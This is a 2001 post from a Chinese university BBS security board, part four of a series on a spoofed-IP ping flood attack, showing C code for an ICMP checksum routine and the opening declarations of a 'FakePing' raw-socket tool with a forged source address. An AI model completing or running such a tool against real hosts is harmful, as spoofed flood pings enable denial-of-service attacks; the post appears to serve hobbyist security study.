荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: aaabbb (好好学习), 信区: Security
标  题: Ping攻防-伪装IP地址的洪水Ping攻击(4)
发信站: 荔园晨风BBS站 (Sat May 26 23:09:35 2001), 转信

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
  unsigned long cksum=0;
  while(size >1)
   {
     cksum+=*buffer++;
     size -=sizeof(USHORT);
   }
  if(size )
   {
     cksum += *(UCHAR*)buffer;
   }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}

//FakePing主函数
int main(int argc, char **argv)
{
  int datasize,ErrorCode,counter,flag;
  int TimeOut=2000, SendSEQ=0, PacketSize=32;
  char SendBuf[65535]={0};
  WSADATA wsaData;
  SOCKET SockRaw=(SOCKET)NULL;
  struct sockaddr_in DestAddr;
  IP_HEADER ip_header;
  ICMP_HEADER icmp_header;
  char FakeSourceIp[20],DestIp[20];
--
 记忆 绝不是铅笔写就的往事 用皮擦抹去 就可以重新开始

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店